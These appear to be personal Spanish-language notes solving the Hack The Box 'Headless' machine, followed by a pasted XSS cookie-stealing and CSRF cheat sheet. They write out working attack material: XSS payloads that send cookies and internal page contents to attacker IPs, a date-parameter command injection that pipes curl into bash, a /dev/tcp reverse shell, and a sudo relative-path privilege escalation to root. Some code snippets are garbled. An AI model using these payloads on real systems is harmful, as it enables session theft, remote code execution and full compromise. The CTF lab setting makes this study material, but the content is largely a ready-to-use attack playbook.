headless

nmap

```
nmap -sC -sV 10.10.11.8 -o nmap.scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-21 17:43 CEST
Nmap scan report for 10.10.11.8
Host is up (0.31s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Sun, 21 Apr 2024 15:43:13 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
|   RTSPRequest:
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=4/21%Time=66253413%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,BE1,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.2\
SF:20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 119.52 seconds
```

#Nos dirigimos a la página de login:http://headless.htb:5000/
#Si nos dirigimos a http://headless.htb:5000/support, podremos intentar un RCE.

#Iniciamos burps uite, aunque detecta nuestro ataque.

```
POST /support HTTP/1.1
Host: headless.htb:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Origin: http://headless.htb:5000
Connection: close
Referer: http://headless.htb:5000/support
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Upgrade-Insecure-Requests: 1

fname=test&lname=test&email=test%40test.com&phone=754823584932&message=bash+-c+%27exec+bash+-i+%26%3E%2Fdev%2Ftcp%2F10.10.14.18%2F4444%3C%261%27
```

#Burpusite, detecta nuestro ataque.

```
  <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <title>Hacking Attempt Detected</title>
   <style>
```

#Nos guardaremos el valor de la cookie.
#Realizamos una petición con el parámetro:

```
      <script>var i=new Image(); i.src="http://10.10.16.44/?cookie="+btoa(document.cookie);</script>
```

#Como detecta el ataque como malicioso, modificaremos el “User-Agent”.

```
POST /support HTTP/1.1
Host: headless.htb:5000
User-Agent:<script>var i=new Image(); i.src="http://10.10.16.44/?cookie="+btoa(document.cookie);</script>
Accept: text/html,applicati  on/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Origin: http://headless.htb:5000
Connection: close
Referer: http://headless.htb:5000/support
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Upgrade-Insecure-Requests: 1

fname=test&lname=test&email=test%40test.com&phone=754823584932&message=bash+-c+%27exec+bash+-i+%26%3E%2Fdev%2Ftcp%2F10.10.14.257%2F4444%3C%261%27
```

#En el servidor local de python3, recibimos la cookie.

```
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.8 - - [21/Apr/2024 18:36:21] "GET /?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=        HTTP/1.1" 200 -
```

#Decodeamos la cookie.

```
echo "aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=" | base64 -d
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

gobuster fuzz -u http://headless.htb:5000/FUZZ -w /usr/share/wordlists/dirb/big.txt | grep Status=500
Found: [Status=500] [Length=265] [Word=dashboard] http://headless.htb:5000/dashboard
```

#Añadimos la cookie en el navegador.

http://headless.htb:5000/dashboard

#Cramos un payload

```
cat payload.sh
/bin/bash -c 'bash -i &>/dev/tcp/10.10.14.203/4444 <&1'
```

#Lo descaramos con burpsuite.

```
date=2023-09-15;curl http://10.10.14.203:80/payload.sh|bash

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.8 - - [20/May/2024 20:52:16] "GET /payload.sh HTTP/1.1" 200 -
10.10.11.8 - - [20/May/2024 20:53:00] "GET /payload.sh HTTP/1.1" 200 -
```

```
#Obtenemos el rev_shell.
nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.203] from (UNKNOWN) [10.10.11.8] 40530
bash: cannot set terminal process group (1382): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$ whoami
whoami
dvir
dvir@headless:~/app$
```

XSS-stealing_cookies.csrf

Exploiting XSS-stealing cookies, csrf
Cookie Stealing-
(Note: HttpOnly should not be enabled/present in cookie header)
1. Classic way-
<script>var i=new Image(); i.src="http://10.10.14.8/?cookie="+btoa(document.cookie);</script>Here we have used btoa() method for converting the cookie string into base64 encoded string.
python3 -m http.server -m 80

2. Bypassing secure flag protection-
a) Creating a HTTPS server-
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodesGenerating certificate.
#!/usr/bin/python3
import http.server, sslserver_address = ('0.0.0.0', 443)
httpd = http.server.HTTPServer(server_address, http.server.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem')
"""ssl_version=ssl.PROTOCOL_TLSv1_2)
"""
httpd.serve_forever()Starting web server.
2. Via XHR-
var xhr=new XMLHttpRequest();
xhr.open("GET", "https://10.10.14.8/?"+document.cookie, true);
xhr.send();3. Fetch api

Redirecting User to malicious websites-
<script>window.location.replace("http://evil.com");</script>
Accessing internal application/Bypassing localhost restrictions-
Suppose Some functionality in web app which can be accessed only from local server. And if xss is getting triggered on serverside when a Administrator user is browsing vulnerable web app while logged in, then it is possible to access this internal functionality by combining XSS+CSRF by using a xhr request.
Scenario 1:
Sample source code:
```
if($_SERVER['REMOTE_ADDR'] == '::1')
{
    system($_POST['cmd']);
} else
{
    echo "It's only allowed to access this function from localhost (::1).<br> This is due to the recent hack attempts on our server.";
}
```
XHR request js file-
```
var http = new XMLHttpRequest();
var url = 'http://127.0.0.1/admin/backdoorchecker.php';
var params = 'orem=dir | ping -n 5 10.10.14.8';
http.open('POST', url, true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.withCredentials = true;
http.send(params);
```

<script src=http://10.10.14.8:80/robme.js></script>Scenerio 2: Stacked.htb
Referer http header is vuln to xss.

Our XSS is being triggered at other application hosted on domain mail.stacked.htb which was not accessible from external network.
So for accessing that we will be using simple javascript as below in our xss payload:
```
//apni.js
var url="http://mail.stacked.htb/"  //targeturl(internal wep application)
var xhr=new XMLHttpRequest();
xhr.open("GET", url, false);
xhr.send();
var resp=xhr.responseText;//transferring HTTP response to us
var xhr2=new XMLHttpRequest();
xhr2.open("POST", 'http://10.10.14.89:443/', false);
xhr2.send(resp);XSS payload-
```
<script src="http://10.10.14.89/apni.js"></script>And we start netcat listener for capturing response of our xhr.

We can open this html in browser to view the application.

DOM XSS
INE: WebApp Labs Web Application attacks LAB 30

window.onload = function() {var site=document.location.href;var index = site.indexOf("=", 0);name="";if(index != -1) {name=site.substr(index+1);}
name=decodeURIComponent(name);document.getElementById('name').innerHTML=name;}
Payload:

<img src='lol' onerror="alert(1)">
XSS via file uploads:
Note: Below Scenario is there in meta htb machine.

exiftool -Comment='<H1>Hello</H1>' Untitled.pngVerified HTML injection.

For XSS we can try the below payload:
<img src=x onerror=alert(document.domain)>

HTML Injection:

```
<html>
<body>
<script>
function download File(URL, filename)
{
 const anchorElement = document.createElement('a');
 anchorElement.href = url;
 anchorElement.download = filename;
 document.body.appendChild(anchorElement);
 anchorElement.click();
 document.body.removeChild(anchorElement);
}
 const fileUrl = '<URL for the file>';
 const fileName = '<file name for saving on victim end>';
 downloadFile(fileUrl, fileName);
 </script>
 </body>
 </html>
```

priv_escalation

```
#Veremos que permisos tenemos como root.
dvir@headless:~$ sudo -l
sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

dvir@headless:~$ cat /usr/bin/syscheck
cat /usr/bin/syscheck
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0


#Crearemos el archivo initdb.sh y lo añadiremos en el /bin/bash, le damos permisos de ejecucción, ejecutamos la herrameinta con permisos root
dvir@headless:~/app$ echo "/bin/bash" > initdb.sh
echo "/bin/bash" > initdb.sh
dvir@headless:~/app$ chmod +x init.db
chmod +x init.db
chmod: cannot access 'init.db': No such file or directory
dvir@headless:~/app$ chmod +x initdb.sh
chmod +x initdb.sh
dvir@headless:~/app$ sudo /usr/bin/syscheck
sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.8G
System load average:  0.30, 0.16, 0.11
Database service is not running. Starting it...
whoami
root
script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@headless:/home/dvir/app# cat /root/root.txt
cat /root/root.txt
e0f9e0e6feddfce0449d1fb8d355b570
root@headless:/home/dvir/app#
```